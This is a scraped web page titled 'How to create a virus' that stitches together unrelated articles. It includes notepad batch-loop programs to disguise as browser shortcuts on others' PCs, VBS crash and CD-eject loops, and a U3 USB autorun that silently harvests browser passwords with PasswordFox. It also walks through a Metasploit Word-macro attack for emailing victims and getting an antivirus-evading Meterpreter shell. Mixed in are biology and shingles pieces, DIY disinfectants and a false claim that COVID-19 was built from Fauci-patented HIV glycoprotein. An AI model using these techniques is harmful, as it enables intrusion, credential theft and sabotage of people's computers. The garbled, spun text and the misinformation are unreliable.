How to create a virus

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The headache of being a computer user is that you have to be always updated about security And whenever we talk about the security issue then we always start thinking about Virus. A virus can be of different types. It can harm your PC soo badly that you can’t even access the data inside your PC. Or maybe it will incorrupt all of the data, delete your system files and make you hopeless completely.

There are also some viruses that we know as a Simple virus. This kind of virus does not harm any computer that badly. But these type of virus can be the source for Pranking with friends or just to show some particuler commands on their PC just to scare them.

We are about to show you one of the virus that can hang your PC. This is very simple to make but as a fresher or non-techky person you might be wondering how this work exactly. So we will tell you how to create a simple virus using notepad and how this works.

Let’s begin with the process to make a simple virus using notepad.

Creating Simple Virus Using Notepad

1. Open Notepad:

Just simply Open notepad just by searching on PC. we are assuming you are smart enough to open notepad.

2. Type the Below Command:

Type the above command in your notepad or copy the above command and paste into your notepad. In the above, phrase you are giving a command to open the example.bat file.

We have taken the file name as example.bat but you can set the name whatever you want. But remember that the .bat extension should be there. Means if you are setting the name as “Virus” then the command should be:

3. Save the File:

After writing the command inside the notepad just simply save the file with the same name as the file name you have written inside the notepad.

You can simply copy the file name you have written after Start inside notepad. For example, if you have written the name of the file inside notepad as Virus.bat then the file should be saved as Virus.bat. Before saving the file set the file type as all files.

If you don’t set the file type as .bat then it will not work. Or if the file name is Virus.bat or whatever you have chosen and then the file type is different then it will also not work.

4. Virus File is ready:

After successfully doing the above steps your file is ready to execute. Whenever you open that file it will continuously open the command prompt and it will not stop. The command prompt will open again and again in a loop.

How This Virus Works:

Let me tell you how it works. But before that let’s take the file name inside that notepad as example.bat so obviously when you save that file it will be example.bat also.

Now, here the file name is “example” and we have given the command to start example.bat file. The only reason that the command prompt is constantly opening, because the name of the file is the same as we have written inside .bat file and that file is opening itself.

You execute that file and it read the inside command then it read the command that refers a file to open and that file is itself. Then it again opens that file through first file command then again it gives command to open that file again and this process goes again and again that makes a huge loop that never ends. This is quite simple right!

The command prompt will not stop opening untill you restart the computer.

The only thing to notice is why someone will click that file to open. So you have to make it clickable by just changing the icon and rename the file. You can change the file name as one of the regular usable software like Chrome, Firefox, my computer, or file explorer.

Changing the File icon and Renaming the file name:

You can not change the direct file icon. But you can change the icon of the shortcut file. So create a shortcut by right clicking the file and click the create shortcut option on the popup window. It will instantly create a shortcut.

After successfully creating the shortcut, now you can proceed to change the icon of that shortcut file. In order to change the icon just follow the below steps:

Right click the shortcut file and click on properties.
Inside the properties window you will see an box shortcut just click that.
On that shortcut window you will find a button below that says change icon click that button.
A popup window appear where you can browse the icon just by clicking the browse and select the icon image then press OK.

The file icon is changed now. And now only you have to rename the file. And its quite simple.

Right click the shortcut file and the popup window will appear.
On that popup window click the option “Rename”.
Set the file name according to that icon match.
Press enter.

You are done making the changes(Name and icon) on shortcut file. Now you can easily place that shortcut and original file on your friends or anyone’s PC/laptop you like. And every time they click that file by thinking that they are accessing the normal application file and they will be stuck on that loop.

This is very simple virus and you can create this virus using notepad easily and there is no such integrated environment needed to make this loop virus.

Caution: If you having very low ram and during that loop, other apps are running too than the data in processing on those apps can be lost. Apparently, we are not responsible for the loss of any data. Please try this On your own risk.

If you are having any issue related to making this simple notepas virus then you can ask us in the comment section below.

How to Make a Computer Virus

You’ve probably wondered how to make your personal computer virus. Your computer virus is mostly a piece of software that performs malevolent activity on the computer without the user’s knowledge. There are several convenient methods https://kvbhel.org/reviews/board-of-directors-meeting-software-that-ameliorates-their-performance/ for creating your own virus, and they tend not to require comprehensive knowledge of computer code. You could start creating a computer virus by learning to use Notepad. This way, you can create a great executable anti-virus without any former knowledge of code.

One of the quickest ways to produce a computer virus is to write down thier program in a programming vocabulary such as C++ or Visible Basic. These types of languages enable you to create destructive software pertaining to Windows. This process will take a long time, so it’s critical to experiment with distinctive methods of duplication. There are also tutorials readily available for each vocabulary, making it possible to make viruses in a variety of languages. A polymorphic disease uses code to modify alone when it reproduces itself. This kind of feature is far more advanced than it sounds, and it is implemented differently in different different languages.

Another way to generate a computer disease is by embedding it in to an executable document. Infecting a document using a macro is the easiest way to distribute a virus, mainly because it targets Microsoft company Office items. Web pièce are similar, tend to be injected in web sites with no webmaster’s understanding. Many infections can only always be distributed by exploiting weak points in security, and these types of techniques require considerable abilities.

NOTE: Using an online compiler is not going to work here. Please install Python 2.7x and cv2, argparse modules to actually try out this example.

Heya friends! Welcome back! Before continuing on with Malicious Logic, I request you to have a look at this great and informative article Worms, Viruses and Beyond!!

Now, this article will focus more on applications than theory of computer viruses, worms, and Trojan horses.

But, please note that this article is meant to be used for educational purposes only.I, in no way, promote the usage of viruses, worms, or trojan horses to attack computer systems and causing damage.

Malicious logic is a set of instructions (basically a program) that causes the violation of a security policy of a website/program/application, etc.

UNIX Script

In this example, we are assuming that “.” is in the path environment and the script has been named ls and is placed in the directory.

Analysing the script

This script creates a copy of the UNIX Shell that is setuid of the user executing this program. To understand setuid programs, we first need to understand how User Identity is stored in a UNIX OS.

In UNIX OS, user identity is usually represented as an integer between 0 and generally, 65,535. This number is also referred to as UID (Unique Identification Number). Now, what setuid programs do is that they create processes with UID of the owner and not of a third person executing the program. This means, that an executor will have the rights of the owner… This in itself is a possible vulnerability.

Coming back to our script, so a setuid copy of the UNIX shell was created. Later on, this program is deleted, and then the correct ls command (for listing the files and folders present in the current working directory) is executed.

Trojan Horses

Go back to the previous script… Suppose if someone (root) typed:

If the script was typed deliberately, then it will result in a Trojan Horse.

Virus – A basic format

Most of the computer viruses follow the following basic script:

Basically, every computer virus has two phases –

Insertion phase – in this phase, the virus inserts itself into the target.
Execution phase- in this phase, the virus performs some actions.

Let’s take a look at a real virus in Python. Now this is not an actual virus which will cause corruption files, deletion of system files, etc. but just a simple harmless virus.

Today we are going to teach you one of the easiest ways of creating a virus – with notepad. Yes, simply using your notepad you can perform this awesome trick.

In this article we will show you the process to create a virus that eats up the computer memory i.e Memory Eating Virus. And note that this trick is purely only for educational purpose and OnlineCmag is not responsible for any mishaps in your computer.

Steps To Create A Memory Eating Virus

Step 1 : Creating Two New Text Documents

First of all open a folder in which you would want to create this simple virus . Within it create 2 new text documents in it as shown below .

How to create a virus

Step 2 : Customize The First Notepad

Open the first notepad and type ” OnlineCmag.bat ” and save it as ” Ocm.bat ” . ( .Bat extension is must )

How to create a virus

Step 3 : Customize The Second Notepad

Now open the second notepad and type ” Ocm.bat ” and save it as ” OnlineCmag.bat ” .

How to create a virus

Step 4 : Open any one of these files

Now just Double Click on any one of the saved files . That’s It , Now this virus will start eating up the computer memory. As simple as that.

If you trust a file, file type, folder, or a process that Windows Security has detected as malicious, you can stop Windows Security from alerting you or blocking the program by adding the file to the exclusions list.

Caution: Only do this for files that you’re confident are safe. Adding an exclusion for an unsafe program could expose your systems and data to increased risk.

Select Start , then open Settings . Under Privacy & security , select Virus & threat protection.

Under Virus & threat protection settings, select Manage settings, and then under Exclusions, select Add or remove exclusions.

How to create a virus

Select Add an exclusion, and then select from files, folders, file types, or process. A folder exclusion will apply to all subfolders within the folder as well.

Go to Start > Settings > Update & Security > Windows Security > Virus & threat protection.

Under Virus & threat protection settings, select Manage settings, and then under Exclusions, select Add or remove exclusions.

How to create a virus

Select Add an exclusion, and then select from files, folders, file types, or process. A folder exclusion will apply to all subfolders within the folder as well.

In this article, I will use a PowerShell one-liner script to generate a test file to test if the Anti-Virus runtime solution installed is working as expected.

Table of Contents

What is the EICAR file?

If you are not familiar with the EICAR
(European Institute for Computer Anti-Virus Research) test file, don’t worry it’s safe to use, the only purpose of this file is to trigger the AV.

It is safe to pass around, because it is not a virus, and does not include any fragments of viral code. Most products react to it as if it were a virus (though they typically report it with an obvious name, such as „EICAR-AV-Test“).

The Oneliner script

I’ve chosen a PowerShell script for various reasons:|

Powershell is included in all Windows OS.
It doesn’t require high-privileges to run.
It’s simple to read.

What will happen after running this script?

When you run the Powershell script Microsoft Defender (or your third party AV solution) will prompt that has found a threat:

How to create a virus

And the details will display the “EICAR_TEST_FILE” and quarantine the file.

How to create a virus

Wrapping Up

Testing an AV with a safe oneliner has multiple benefits, and it’s more than a QA exercise, in fact, you will immediately learn what to expect when a threat is found and you can get familiar and if it’s required document steps for end-users. I personally think that is a very fun way of training and educating users with simple and effective examples.

As usual, this script is available on my GitHub repository.

Author

Associate Professor, Genomics and Molecular Biology; Biomedical Sciences., Bond University

Disclosure statement

Associate Professor Lotti Tajouri is affiliated with Dubai Police Scientist Council.

Partners

Bond University provides funding as a member of The Conversation AU.

Viruses are the most common biological entities on Earth. Experts estimate there are around 10,000,000,000,000,000,000,000,000,000,000 of them, and if they were all lined up they would stretch from one side of the galaxy to the other.

You can think of them as nature’s own nanotechnology: molecular machines with sizes on the nanometre scale, equipped to invade the cells of other organisms and hijack them to reproduce themselves. While the great majority are harmless to humans, some can make you sick and some can even be deadly.

Are viruses alive?

Viruses rely on the cells of other organisms to survive and reproduce, because they can’t capture or store energy themselves. In other words they cannot function outside a host organism, which is why they are often regarded as non-living.

Outside a cell, a virus wraps itself up into an independent particle called a virion. The virion can “survive” in the environment for a certain period of time, which means it remains structurally intact and is capable of infecting a suitable organism if one comes into contact.

When a virion attaches to a suitable host cell – this depends on the protein molecules on the surfaces of the virion and the cell – it is able to penetrate the cell. Once inside, the virus “hacks” the cell to produce more virions. The virions make their way out of the cell, usually destroying it in the process, and then head off to infect more cells.

Does this “life cycle” make viruses alive? It’s a philosophical question, but we can agree that either way they can have a huge impact on living things.

How to create a virus

What are viruses made of?

At the core of a virus particle is the genome, the long molecule made of DNA or RNA that contains the genetic instructions for reproducing the virus. This is wrapped up in a coat made of protein molecules called a capsid, which protects the genetic material.

Some viruses also have an outer envelope made of lipids, which are fatty organic molecules. The coronavirus that causes COVID-19 is one of these these “enveloped” viruses. Soap can dissolve this fatty envelope, leading to the destruction of the whole virus particle. That’s one reason washing your hands with soap is so effective!

What do viruses attack?

Viruses are like predators with a specific prey they can recognise and attack. Viruses that do not recognise our cells will be harmless, and some others will infect us but will have no consequences for our health.

Many animal and plant species have their own viruses. Cats have the feline immunodeficiency virus or FIV, a cat version of HIV, which causes AIDS in humans. Bats host many different kinds of coronavirus, one of which is believed to be the source of the novel coronavirus that causes COVID-19.

Bacteria also have unique viruses called bacteriophages, which in some cases can be used to fight bacterial infections.

Viruses can mutate and combine with one another. Sometimes, as in the case of COVID-19, that means they can switch species.

Why are some viruses so deadly?

The most important ones to humans are the ones that infect us. Some families of viruses, such as herpes viruses, can stay dormant in the body for long periods of time without causing negative effects.

How much harm a virus or other pathogen can do is often described as its virulence. This depends not only on how much harm it does to an infected person, but also on how well the virus can avoid the body’s defences, replicate itself and spread to other carriers.

In evolutionary terms, there is often a trade-off for a virus between replicating and doing harm to the host. A virus that replicates like crazy and kills its host very quickly may not have an opportunity to spread to a new host. On the other hand, a virus that replicates slowly and causes little harm may have plenty of time to spread.

How do viruses spread?

Once a person is infected with a virus, their body becomes a reservoir of virus particles which can be released in bodily fluids – such as by coughing and sneezing – or by shedding skin or in some cases even touching surfaces.

The virus particles may then either end up on a new potential host or an inanimate object. These contaminated objects are known as fomites, and can play an important role in the spread of disease.

How to create a virus

What is a coronavirus?

The coronavirus COVID-19 is a member of the virus family coronaviridae, or coronaviruses. The name comes from the appearance of the virus particles under a microscope: tiny protein protrusions on their surfaces mean they appear surrounded by a halo-like corona.

Other coronaviruses were responsible for deadly outbreaks of Serious Acute Respiratory Syndrome (SARS) in China in 2003 and Middle East Respiratory Syndrome (MERS) from 2012. These viruses mutate relatively often in ways that allow them to be transmitted to humans.

IT IS NOT MY RESPONSIBILITY IF SOMETING BAD HAPPENS TO ANY DEVICE

Home
Comments
.VBS
.BAT

Have a good day.vbs

Copy and paste the following into Notepad.

name=inputbox(“Whats your name?”)

msgbox(“Have a good day, “) + name

SAVE IT AS HAVE A GOOD DAY.VBS AND ENJOY!

Passwword protect A .VBS SCRIPT

Copy and paste the following into Notepad.

if pass=”fish” then msgbox(“Correct Password!”) else msgbox(“Incorrect Password!”)

The password for this is fish

Save it as Password.vbs And enjoy!

make a message box (NOTEPAD MODE)

Copy and paste the following into Notepad.

To make the ” hold shift and 2

Inside the (” “) Type what you want it to say

Save it as Message.vbs and Enjoy!

make a message box loop

Copy and paste the following into Notepad.

Save it as Loop.vbs and Enjoy!

hacktool vbs – Message box maker

Copy and paste the following into Notepad.

msgbox(“HackTool VBS – Message box maker”)

msg=inputbox(“Enter a message. “)

Save it as HackTool VBS Message Maker.vbs

HACKtool vbs – annoying message box maker

Copy and paste the following into Notepad.

msgbox(“HackTool VBS – Annoying Message box maker

msg=inputbox(“Enter a message. “)

Save it as Annoy msg.vbs

hacktool vbs – calculator_*

Copy and paste the following into Notepad.

msgbox(“HackTool VBS – Calculator – *”)

Save it as Cal.vbs

hacktool vbs – question maker

msgbox(“HackTool VBS – Question Box”)

msg=inputbox(“Enter a question. “)

msgb=inputbox(“Enter a message box message. ( message will be before answer) “)

msgbox (” “) + msg + (” “) + answer

Save it as Question.vbs

asK A QUESTION (NOTEPAD MODE)

Copy and paste the following into Notepad.

whatyouwanthere =inputbox(“YOUR QUESTION HERE”)

msgbox ( whatyouwanthere )

the text in blue must be the same.

open a program

Copy and paste the following into Notepad.

Save it as run.vbs and enjoy!

Paint is known as “MSPAINT”!

This one opens notepad.

open a program if password is correct

Copy and paste the following into Notepad.

Set shell=CreateObject(“wscript.shell”)
pass=inputbox(“Enter a Password”)
if pass=” 1234 ” then Shell.Run(” Notepad.exe “) else msgbox(“Incorrect Password!”)

The text in blue is what you want the password to be.

The text in red is what program you want to open.

Save it as runpass.vbs and enjoy!

THIS IDEA WAS FROM NOTEPADCODES1, BUT I DID NOT USE ANY HELP OR “WHAT TO DO” ON IT!

how to crash your computer

WARNING – Doing this could result in breaking your computer!

IT IS NOT MY RESPONSIBILITY IF SOMETHING GOES WRONG.

we all know that you can crash your pc by going to youareanidiot.org, but this is just like it – without the virus – and, loads of pop-ups!

Copy and paste the following into Notepad.

save it as crash.vbs and enjoy breaking your computer.

make a cd-rom virus

WARNING – Doing this could result in crashing your computer!

IT IS NOT MY RESPONSIBILITY IF SOMETHING GOES WRONG.

DO NOT USE THIS FILE AS A VIRUS – JUST FOR EDUCATIONAL USE ONLY!

Copy and paste the following into Notepad.

DO
Set owMP = CreateOBject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
for i= 0 to colCDROMs.Count – 1
colCDROMS.Item(i).Eject
Next ‘ cdrom
End If
loop

And save it as CdRomVirus.vbs And enjoy.

WITH THANKS TO COMPUTER-TRICKER FOR THE

CD ROM OPENER SCRIPT – I JUST MADE IT LOOP!

Introduction: How to Make an Auto Hacking Wardrive

How to create a virus

Step 1: Material List

To do this project, you are going to need:
– U3 usb drive, such as a sandisk cruizer,
– Access to a Windows XP machine.

What makes a U3 usb drive unique is that it emulates a CD rom drive so that it can autorun it’s “launchpad” whenever you plug it into your computer. This is useful because Windows will not allow programs to autorun straight from a USB drive, but it will allow programs to autorun from CD drives and since a U3 usb drive shows up as both, we can use this feature to autorun our USB drive.

Step 2: Download Universal Customizer

Backup everything that’s currently on your USB drive. Then go to this website: http://www.u3community.com/viewtopic.php?t=434 and download the “Universal Customizer” program. This program is going to allow us to replace the U3 Launchpad application with our own autolaunching application. Unfortunately, this program only works on Windows XP, so you’ll have to have an XP machine to run this. When it’s through downloading, extract all of the files to your desktop and open up the “U3CUSTOM” folder. This folder is where we’re going to create our custom autolaunching program

Step 3: Creating the Autorun and Launch Files

Step 4: Converting BAT to EXE

To convert launch.bat to an executable, go to this website http://download.cnet.com/Bat-To-Exe-Converter/3000-2069_4-10555897.html and download the Bat to EXE converter. Open it up and run the exe file. For the “Batch file” field, point to the “launch.bat” file that you created. Then click “compile”. You should now see a “launch.exe” file in your “U3Custom” folder.

Step 5: Creating the USB.vbs Script

Dim oFSO, oDrive,objFolder,oUsbDrive,oDestination, shell
Const USBDRIVE=1
oDestination = “c:\test”
Set oFSO = WScript.CreateObject(“Scripting.FileSystemObject”)
Set shell=createobject(“wscript.shell”)
‘Get USB drive letter
For Each oDrive In oFSO.Drives

If oDrive.DriveType = USBDRIVE And oDrive.DriveLetter <> “A” Then
WScript.Echo “found usb at”, oDrive.DriveLetter
oUsbDrive = oDrive.DriveLetter & “:\”
shell.run oDrive.DriveLetter & “:\PasswordFox.exe”
set shell=nothing
End If
Next
Sub CopyFiles(oPath, oDst)
Set objFolder = oFSO.GetFolder(oPath)
For Each Files In objFolder.Files
WScript.Echo “Copying File”,Files
newDst=oDst&”\”&Files.Name
oFSO.CopyFile Files,newDst,True
WScript.Echo Err.Description
Next
‘Recursive copy, uncomment if needed
‘ For Each oDir In objFolder.SubFolders
‘ CopyFiles oDir.Path, oDst
‘ Next
End Sub

Step 6: Burn the Files to the Virtual U3 CD

Go back up to the main “universal customizer” directory and click “isocreate.cmd”. This will turn our folder into an iso file that we will then put on the USB drive. Now click on “universal_customizer.exe”. Just follow the instructions in the program and it will set up your U3 drive to run our custom created launcher. When it’s through, click done. You will need to pull out your usb drive and plug it back in and it may give you an error, but that’s because we haven’t put any programs on it, which we will do in the next step.

Step 7: Loading the Hacking Programs

You can find some good programs at “nirsoft.net” that are good for retrieving passwords and information. Such as PasswordFox. Just extract the files and copy them to your USB drive. Lastly, we need to create a USB file that runs the program silently and stores the data it collects back on the USB drive. So right click in the USB drive and create a new text file and rename it “batch.bat”. Then right click on it and select “edit”. To launch the program type:

dp0″ before both filenames. Now save the file and test it out. Put it in a computer that has autorun enabled and within a second, you should have an html file saved to your USB drive with the users information.

Step 8: Protection

The best way to protect yourself from this type of hack is to disable any type of autorun feature. To enable/disable autorun in windows xp, go to “start > run” type gpedit.msc and hit enter. Select “Administrative Templates > System” and then double click on “Turn off autoplay” to enable/disable it. In vista and 7 go to start and type “gpedit.msc”, select administrative templates > Windows Components” and double click on “Autoplay policies” to enable or disable it.

Be the First to Share

Did you make this project? Share it with us!

How to create a virus

As a public health professional with over 10 years of experience, Katie is passionate about informing decision-making that impacts the health and well-being of individuals and communities.

How to create a virus

Sameena Zahoor, MD, is a board-certified specialist in Family Medicine and is currently working as an outpatient primary care physician in Michigan.

Shingles, also called herpes zoster, is caused by the same virus that causes chickenpox (varicella-zoster virus, or VZV). Unlike chickenpox, shingles isn’t contagious, but it can occur when the VZV is reactivated in the body. Though inconclusive, stress may be a trigger that reactivates the virus. Common symptoms include painful, tingling blisters that occur in clusters on your face or torso.

In the United States, about one out of three people will develop shingles in their lifetime. Getting the shingles vaccine can reduce your risk of developing the condition.

Read on to learn more about shingles, including the cause, risk factors, and its relationship with stress.

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Nattakorn Maneerat / Getty Images

What Causes Shingles?

Shingles is caused by the reactivation of VZV, the virus that causes chickenpox. After you are infected with the virus, it remains inactive in your body. Reactivation later in life can occur due to changes in your immune system.

Risk Factors for Shingles

Shingles can develop in anyone who has previously had chickenpox. However, an increased risk for shingles is associated with immune system weakness and function.

Factors that influence your immune system and can increase your risk include:

Being over the age of 60
Having certain conditions or infections, such as human immunodeficiency virus (HIV) or cancer
Taking immunosuppressive treatments and medications, such as those for organ transplants or rheumatoid arthritis

The Link Between Stress and Shingles

Psychological stress is a possible trigger for shingles. Experiencing acute (short-term but significant) stress or chronic (long-term) stress has been shown to impact immune function. But it does not occur in the same way for every person.

Further, results from studies exploring the connection between stress and developing shingles have been mixed. Some studies reported higher rates of shingles following stressful life events, while others did not. Studies examining the impact of stress on the immune system and reactivation of VZV did not conclude a definitive relationship between the two.

Treatment for Shingles

Treatment for shingles is meant to reduce severity and duration of symptoms. It often includes:

Antiviral medications, such as Zovirax ( acyclovir ), Famvir ( famciclovir ), and Valtrex ( valacyclovir )
Pain medications, including over-the-counter (OTC) and prescription options
Antibiotics if the blisters or lesions become infected

Stress Management Tips

Stress can increase the risk for inflammation in the body. In turn, this can contribute to the development of disease and make other preexisting conditions worse. Taking action to better cope with stress reduces that risk.

Some short- and long-term stress coping strategies include:

Being thoughtful about engaging with people and situations that are stressful: This may include declining invitations or saying “no” when you can anticipate stressful conditions.
Reframing a stressful situation: If you can’t avoid a situation, you may be able to perceive it differently. For example, looking at a rejection for a job you wanted as an opportunity to learn from it can help you see the situation in a positive way.
Regularly engaging in relaxation: Do activities you know you like or try a new one, such as deep breathing, stretching, yoga, or tai chi.
Doing enjoyable activities when you’re stressed: Reading books, engaging in a hobby, watching a favorite television show or movie, or spending time with friends and family are great ways to cope.
Talking it out with others: This includes with someone close to you or a mental health professional.
Taking care of your body: Regularly getting enough quality rest, being active, and eating enough nutrients helps your body better cope with stress.

Summary

Shingles (herpes zoster) is caused by the reactivation of the varicella-zoster virus, the same virus that causes chickenpox. Unlike with chickenpox, shingles transmission from one person to another isn’t possible. People with reduced immunity are at a higher risk for shingles, such as those who are over the age of 60, have certain health conditions, or are undergoing immunosuppressive treatments.

Psychological stress is thought to be a potential trigger for the reactivation of VZV in the body. However, research into whether stress triggers shingles is not conclusive. Stress can cause inflammation and worsen existing health conditions. Stress management strategies may help reduce the risk of negative health impacts.

A Word From Verywell

Though people with compromised immune systems are at a higher risk for shingles, anyone who has previously been exposed to VZV may develop it sometime in their life. Taking good care of your body is not only a healthy stress coping strategy, but it may also support your immune system. Further, getting vaccinations, such as the shingles vaccine (when recommended), is also a great way to reduce your risk of illness, complications, and can keep you healthy.

Frequently Asked Questions

The virus itself is contagious but shingles can’t be transmitted to another person. Varicella-zoster virus causes chickenpox. After chickenpox resolves, the virus remains in the body but becomes inactive. If it reactivates, it can cause shingles. During a shingles episode, you can transmit the virus to someone who hasn’t been exposed previously and it can cause chickenpox.

People over the age of 60 are more likely to develop shingles. The risk increases as you get older and anyone who has previously had chickenpox is at risk for it.

Shingles is typically diagnosed by observing a characteristic rash with clusters of painful blisters on one side of your face or torso. If the cause is uncertain, a healthcare provider can take a fluid sample from one of the blisters to confirm the cause.

Metasploit has a couple of built in methods you can use to infect Word and Excel documents with malicious Metasploit payloads. You can also use your own custom payloads as well. It doesn’t necessarily need to be a Metasploit payload. This method is useful when going after client-side attacks and could also be potentially useful if you have to bypass some sort of filtering that does not allow executables and only permits documents to pass through. To begin, we first need to create our VBScript payload.

As the output message, indicates, the script is in two parts. The first part of the script is created as a macro and the second part is appended into the document text itself. You will need to transfer this script over to a machine with Windows and Office installed and perform the following:

This will open up the visual basic editor. Paste the output of the first portion of the payload script into the editor, save it and then paste the remainder of the script into the word document itself. This is when you would perform the client-side attack by emailing this Word document to someone.

In order to keep user suspicion low, try embedding the code in one of the many Word/Excel games that are available on the Internet. That way, the user is happily playing the game while you are working in the background. This gives you some extra time to migrate to another process if you are using Meterpreter as a payload.

How to create a virus

Here we give a generic name to the macro.

How to create a virus

Before we send off our malicious document to our victim, we first need to set up our Metasploit listener.

Now we can test out the document by opening it up and check back to where we have our Metasploit exploit/multi/handler listener:

Success! We have a Meterpreter shell right to the system that opened the document, and best of all, it doesn’t get picked up by anti-virus.

Money, Home and Living Reporter, HuffPost

These days, even clean freaks are getting a run for their money. In order to keep the coronavirus at bay, it’s important to disinfect your kitchen , bathrooms ― even the air ― sometimes multiple times per day. But with the recent panic-buying that’s wiped store shelves clean of commercial disinfectants, you might not have the usual products on hand.

Fortunately, you can make DIY hand sanitizer, disinfecting spray and wipes. Here’s what you need to know about making your own cleaning products that kill the coronavirus.

Items You’ll Need

The U.S. Centers for Disease Control and Prevention published recommendations for cleaning and disinfecting your home that are crucial to follow when making your own disinfectants. For example, the CDC says that it’s important to use EPA-registered disinfectants that have been vetted for their effectiveness against COVID-19 and allow enough contact time on the surface for the disinfectant to work.

There are just a handful of solutions you need for DIY cleaning products, according to Dean Davies, cleaning supervisor for Fantastic Services, which specializes in antiviral sanitization . You may already have them in your medicine cabinet or pantry. If not, you may be able to find them in stores, though inventory may be limited right now.

Hydrogen peroxide: According to the CDC, hydrogen peroxide is effective against a whole army of microorganisms, such as bacteria, yeasts, fungi, viruses and spores. A solution of at least 3% will kill germs ― including the cold virus ― after six to eight minutes of exposure.

Isopropyl alcohol: Also known as rubbing alcohol, this chemical compound has proven disinfecting qualities when left on surfaces for at least 30 seconds. Since rubbing alcohol is water-soluble, it can be diluted, but the concentration needs to be at least 70% to kill coronaviruses. Also keep in mind that while alcohol is considered safe for all surfaces, it could discolor some plastics, so be sure to perform a spot test first.

Household bleach: Bleach is strong and effective at killing bacteria and viruses when diluted properly. According to the CDC, that’s 4 teaspoons of bleach per 1 quart of water. Just be sure to let your bleach solution sit for at least 10 minutes before wiping it off, and be sure it isn’t expired. A word of caution: Mixing bleach with certain other chemicals can create dangerous compounds; never combine bleach with ammonia, rubbing alcohol or acidic compounds, such as vinegar. Your safest bet is to use bleach with water only.

In addition to these chemicals, you will need a squeeze or spray bottle, paper towels and/or cotton fabric. Again, some of these items might be hard to find, so try to work with what you have.

How To Make Your Own DIY Disinfecting Products

Hand Sanitizer

Though washing your hands with plain old soap and water is the best way to keep them clean and prevent the spread of coronavirus, you don’t always have access to a sink. The next best thing is using hand sanitizer, but you need to be sure your ratios are correct when making it yourself, otherwise it isn’t effective.

Ajith Karunarathne , a cellular chemist and assistant professor in the University of Toledo’s department of chemistry and biochemistry, shared his recipe for hand sanitizer.

Start with isopropyl alcohol, which you may be able to find online at Walmart or Amazon if you don’t have it at home. Usually, isopropyl alcohol comes in either 90% or 95% concentration, according to Karunarathne, but anything 90% and above will work.

Mix three parts alcohol with one part aloe vera gel, which prevents your skin from drying out. (If you can’t find pre-made aloe gel, you can also scrape some out of the leaves of an aloe plant. Cut the sides of a leaf and remove the top skin. Using a spoon, scrape the gel out. In a high-speed blender, blend the collected gel for two to three minutes, then use a strainer to filter the gel and remove leaf debris.)

If you want, add a few drops of essential oil to the mix for a nice scent.

Transfer your sanitizer to a clean, empty container. You can refill empty hand sanitizer bottles, or use any small container that’s easy to carry with you. Karunarathne said that if you see cloudy sedimentation, shake the container before use.

Disposable Disinfecting Wipes

If your store is sold out of Clorox wipes, you can easily make your own, according to Davies.

Start with a roll of paper towels and cut it in half horizontally so that you’re left with two toilet paper-like rolls.

Mix 2 cups of water with 2 tablespoons of bleach.

Place one paper towel roll flat into an airtight container and pour the solution over the top. The container should be large enough to hold all the liquid while ensuring the paper towels are fully saturated.

Take out the cardboard center roll and pull out fresh paper towels from the middle.

Reusable Disinfecting Wipes

Instead of relying on single-use (and hard to find) disinfectant wipes, Kris Bordessa, a sustainability expert and author of “ Attainable Sustainable: The Lost Art of Self-Reliant Living, ” says you can make reusable ones instead.

Start with an old T-shirt or other cotton fabric. Cut it into squares, about the same size as a commercial wipe.

Soak these cloths with your bleach solution or a mixture of 2/3 cup 99% isopropyl alcohol and 1/3 cup water.

Store your used wipes in a sealed container until laundry day, then wash them using the hot water setting before resoaking them in your solution and reusing.

Don’t Rely On “Natural” Cleaners For Coronavirus

Though you might want to minimize the use of harsh chemicals in your home, especially in your kitchen where food is prepared, the truth is that you need to rely on the tough stuff to kill the coronavirus and other harmful germs. Some “natural” household items may have helpful cleaning properties but will not disinfect:

Vinegar: Effective on mildew, dirt and bacteria, vinegar has long been a go-to for cleaning surfaces around the home. Though vinegar is a safe and natural way to get rid of some types of germs, it isn’t an EPA-registered household disinfectant and isn’t recommended in place of alcohol or bleach.

Tea tree and other essential oils: Though tea tree oil and other essential oils have been touted for a wide range of questionable benefits, including antiviral properties, there’s no scientific proof that they prevent people from contracting viruses. Essential oils can make your cleaning products smell nice and might even eliminate some types of bacteria, but you shouldn’t rely on them to kill the coronavirus.

Vodka and other spirits: There are many DIY hand sanitizer recipes on the web that suggest using vodka in a pinch. However, the CDC says that hand sanitizer must have an ethyl alcohol concentration of at least 60% to be effective, and most vodkas fall well below that threshold. When mixed with aloe or other substances, the concentration is diluted further. Even Tito’s Vodka tweeted a warning that their vodka is only 40% alcohol and does not meet the CDC’s standards for an effective sanitizer.

Dr. Anthony Fauci’s name appears on four U.S patents for a key glycoprotein that seems to have been inserted into the SARS virus to create COVID-19.

Justia.com, a legal portal, lists patents by inventor Anthony Fauci involving a glycoprotein in HIV-1.

This same glycoprotein, identified as Glycoprotein 120, or simply as GP120, has also been found to be a key component of the current COVID-19, a disease that appears to combine a HIV-1 attack on the human immune system, with SARS CoV-1, the pathogen from the original SARS

Medical scientists in India reported four intersections in the spike glycoprotein that are unique to COVID-19 and not present in other coronaviruses. The article was taken down after it was suggested that Covid-19 was created in a lab by inserting the glycoprotein from HIV-1 into a sars virus.

Related: How To Detoxify and Heal From Vaccinations – For Adults and Children

In recent weeks media platforms have stopped banning content that suggests COVID-19 was made in a lab after president Biden called a search into the origins of the virus.

Published by Ian Matthews on August 12, 2014 August 12, 2014

There are two ways to set Windows Defender (Security Essentials) to automatically update and the first is to set WINDOWS UPDATE to automatically install all updates. The other way is to create a new SCHEDULED TASK:

Click START and type TASK and then click on TASK SCHEDULER
Right click on TASK SCHEDULER LIBRARY and select CREATE NEW BASIC TASK
Type a name like UPDATE DEFENDER, and click the NEXT button
Leave the TRIGGER setting to DAILY, and click the NEXT button
Leave the DAILY setting to RECUR EVERY 1 DAYS, and click the NEXT button
Leave the ACTION on START A PROGRAM, and click the NEXT button
In the PROGRAM/SCRIPT field enter: “C:\Program Files\Windows Defender\MpCmdRun.exe” (the quotes ARE required)
In the ADD ARGUMENTS enter -SignatureUpdate (no quotes), and click the NEXT button
Click the FINISH button to complete the task
Double click on the task and select from the GENERAL TAB, select RUN WHETHER USER IS LOGGED IN OR NOT, click OK and enter the password for your account.

Note that you can change the schedule of this task to more than once a day (or less I suppose) by double clicking on it and selecting the TRIGGERS tab.

How to create a virus

Everyone is (and should be) concerned about computer viruses, especially with new variations of this malicious software emerging each year. But what does it mean for your data and device if it becomes infected with a virus and what damage can it do?

